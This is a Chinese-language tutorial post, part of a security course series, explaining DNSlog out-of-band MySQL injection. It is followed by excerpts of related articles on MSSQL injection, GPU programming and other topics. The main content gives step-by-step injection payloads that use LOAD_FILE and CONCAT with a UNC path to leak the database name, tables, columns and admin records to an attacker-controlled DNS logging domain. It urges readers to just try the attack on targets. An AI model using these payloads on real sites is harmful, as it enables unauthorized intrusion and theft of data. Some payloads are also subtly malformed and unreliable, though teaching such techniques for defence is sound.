网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入

本文内容:

  • DNSLOG的函数解析
  • UNC路径
  • DNSLOG的使用场景
  • DNSLOG注入的具体流程


1,DNSLOG的函数解析:

  Mysql函数:LOAD_FILE()读取文件的函数。

    读取字符串并返回文档内容未字符串,要使用次函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。

    该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接收的数据包大小函数,默认1MB)。

    如果该文件不存在或者无法读取,因为前面的条件之一不满足,函数返回NULL。

    LOAD_FILE()读取文件函数的功能不是默认开启的,需要在mysql配置文件mysql-ini文件最后加一句:secure_file_priv=

    添加之后需要重启才能生效。

2,UNC路径:通过命名规则,也称通用命名规范,通过命名规定,远程共享文件的一种格式。

  什么是UNC路径:

    UNC路径就是类似\\softer这样的网络路径:

  格式:\\servername\sharename\filname

    servername:服务器名称,

    sharename:共享资源的名称

    filename:共享资源文件夹的名称

3,DNSLOG的使用场景:

  在某些无法直接利用漏洞获得回显的情况下,但是目标可以发出请求,这个时候就可以通过DNSLOG把想获取的数据外带出来。

  对于SQL盲注,常见的方法就是二分法,去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。

  所以可以将select的数据发送给一个url,利用Dns解析产生的记录日志来查看数据。

  select load_file() 可以请求贡献文件。

  DNS:是域名,所以需要一个域名:http://dnslog.cn/

    免费的Dnslog平台,不用注册,不用登陆,不采集任何信息。

4,DNSLOG注入的具体流程:

  前提是网站数据库开启了load_file功能。

  1.判断是否存在sql注入:

    and 1=1 和 and 1=2

  2.通过判断之后发现此处是一个满足,而盲注常用的方法就是二分法,一个一个去猜,但是如果系统数据库开启了load_file功能。

   我们就可以使用DNS解析产生的记录日志,来查看数据。

  3.爆库:

    and (select load_file(concat(‘//‘,(select database()),‘域名/abc‘)))

  4.爆表:

    and (select load_file(concat(‘//‘,(select table_name from information_schema.tables=database() limit 0,1),‘域名/abc‘)))

  5.爆字段:

    and (select load_file(concat(‘//‘,(select column_name from information_schema.columns where table_name=‘admin‘ limit 0,1),‘域名/abc‘)))

  6.爆数据:

    and (select load_file(concat(‘//‘,(select id from admin limit 0,1),‘域名/abc‘)))

  解释:

    域名:可以通过上面免费域名网站获得。

    abc:域名下的文件夹。

    limit:使用limit 是因为数据库查询出来的数据不一定是个字符串,查询出来返回好几条数据,需要使用limit一条一条取出来,拼进域名内。

    不用管系统数据库是否开启load_file,直接干就行,能行,就是开启了,不能行,就是没开启,试过才知道。

与君共勉:

  向着目标奔跑,

  何必在意折翼的翅膀,

  只要信心不死,

  就看的见方向,

  顺风适合行走,

  逆风更适合飞翔,

  人生路上什么都不怕,

  就怕自己投降。

原文地址:https://www.cnblogs.com/xz25/p/12636570.html

时间: 2024-10-11 23:15:18

网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入的相关文章

网络安全从入门到精通 (第五章-3) MSSQL反弹注入

本文内容: MSSQL反弹注入使用场景 MSSQL反弹注入语句解析 MSSQL反弹注入具体流程 MSSQL显错注入具体流程 1,MSSQL反弹注入使用场景: 1.前言: MSSQL注入攻击是最为复杂的数据库技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句早就了新颖独特的攻击思路. 2.MSSQL反弹注入: 明明是SQL注入点,却无法进行注入,注入工具猜解的速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是在注入攻击中常常遇到的问题. 为了解以上这些疑难杂症,

网络安全从入门到精通(第一章-2)快速自建web安全测试环境

本文内容 动态语言 常见服务器脚本 动态语言可以做什么? 常见服务器环境快捷搭建软件 快速的搭网站的环境 CMS 1,动态语言:是对服务器行为的编程,这被称为服务器端脚本或服务器脚本. 2,常见服务器脚本: Asp,Aspx(Windows) PHP(全平台) JSP(全平台) Python(全平台) 3,动态语言可以做什么? 1.动态地向Web页面编辑.改变或添加任何的内容. 2.对有HTML表单提交的用户请求或数据进行响应. 3.访问数据或数据库,并向浏览器返回结果. 4.为不同的用户定制页

GPU 编程入门到精通(五)之 GPU 程序优化进阶

博主因为工作其中的须要,開始学习 GPU 上面的编程,主要涉及到的是基于 GPU 的深度学习方面的知识.鉴于之前没有接触过 GPU 编程.因此在这里特地学习一下 GPU 上面的编程. 有志同道合的小伙伴,欢迎一起交流和学习.我的邮箱: [email protected] .使用的是自己的老古董笔记本上面的 Geforce 103m 显卡,尽管显卡相对于如今主流的系列已经很的弱,可是对于学习来说.还是能够用的.本系列博文也遵从由简单到复杂,记录自己学习的过程. 0. 文件夹 GPU 编程入门到精通

ArcGIS for Desktop入门教程_第五章_ArcCatalog使用 - ArcGIS知乎-新一代ArcGIS问答社区

原文:ArcGIS for Desktop入门教程_第五章_ArcCatalog使用 - ArcGIS知乎-新一代ArcGIS问答社区 1 ArcCatalog使用 1.1 GIS数据 地理信息系统,就是将真实的地物或地理现象抽象为计算机可表达的简单的集合类型(比如点.线.多边形),再按其几何类型和专题信息进行分类,通过计算机技术来管理和分析这些数据.从数据的组织形式上,我们通常将其分为矢量数据和栅格数据两大类. 如上图所示,分别用矢量和栅格的形式来表达一条高速公路.我们可以清晰地发现矢量数据与

D3.js的v5版本入门教程(第五章)—— 选择、插入、删除元素

D3.js的v5版本入门教程(第五章) 1.选择元素 现在我们已经知道,d3.js中选择元素的函数有select()和selectAll(),下面来详细讲解一下 假设我们的<body>中有三个<p>,如下 <p>dog</p> <p>cat</p> <p>pig</p> <p>rat</p> 选择第一个元素<p> var p = d3.select("body&qu

【PHP】最详细PHP从入门到精通(五)——PHP错误处理

 PHP从入门到精通 之PHP中的字符串 在创建脚本和 web 应用程序时,错误处理是一个重要的部分.如果您的代码缺少错误检测编码,那么程序看上去很不专业,也为安全风险敞开了大门. 本教程介绍了 PHP 中一些最为重要的错误检测方法. 我为大家讲解不同的错误处理方法: PHP中的错误处理 1.PHP的错误级别:见表格. 2.调整PHP错误报告级别: PHP中,调整错误报告级别的方式有两种: ①修改PHP.ini文件的配置项. a.会导致在当前服务器环境下所有PHP文件都受其影响. b.如果代码更

网络安全从入门到精通 (第二章-2) 后端基础SQL—MySQL数据库简介及SQL语法

本文内容: 什么是数据库 常见数据库 数据库的基本知识 基本SQL语法 1,什么是数据库? 数据库就是将大量数据保存起来,通过计算机加工,可以高效访问的数据聚合. 数据库就是长期存储在计算机内,有组织.可共享的集合. 2,常见的数据库: Oracle Database 甲骨文公司 SQL Server  微软公司 DB2   IBM公司 POSTGRESQL     开源 MySQL 开源 Access 微软公司 注意:虽然数据库各种各样,但是数据库语句之间具有相同之处. 3,数据库基本知识:

网络安全从入门到精通(第四章-2)GET&amp;POST&amp;HEAD注入

本文内容: GET注入 POST注入 Head注入 sqlmap工具注入 get&post为显错注入: head为报错注入: 1,GET注入: get注入属于显错注入. 1.判断注入点: 最古老的的方法是: http://www.xxx.com/new.php?id=1 and 1=1 页面显示正常. http://www.xxx.com/new.php?id=1 and 1=2 页面显示错误. 最简单的判断方法是: http://www.xxx.com/new.php?id=1 and 1=1

Node入门教程(6)第五章:node 模块化(上)模块化演进

node 模块化 JS 诞生的时候,仅仅是为了实现网页表单的本地校验和简单的 dom 操作处理.所以并没有模块化的规范设计. 项目小的时候,我们可以通过命名空间.局部作用域.自执行函数等手段实现变量不冲突.但是到了大一点的项目,各种组件,各种第三方插件和各种 js 脚步融合的时候,就会发现这些技巧远远不够. 模块化的演变 为什么要有 JS 模块化呢?在浏览器中,顶层作用域的变量是全局的,所以项目稍微复杂点,如果引用的 js 非常多的时候,很容易造成命名冲突,然后造成很大意想不到的结果. 为了避免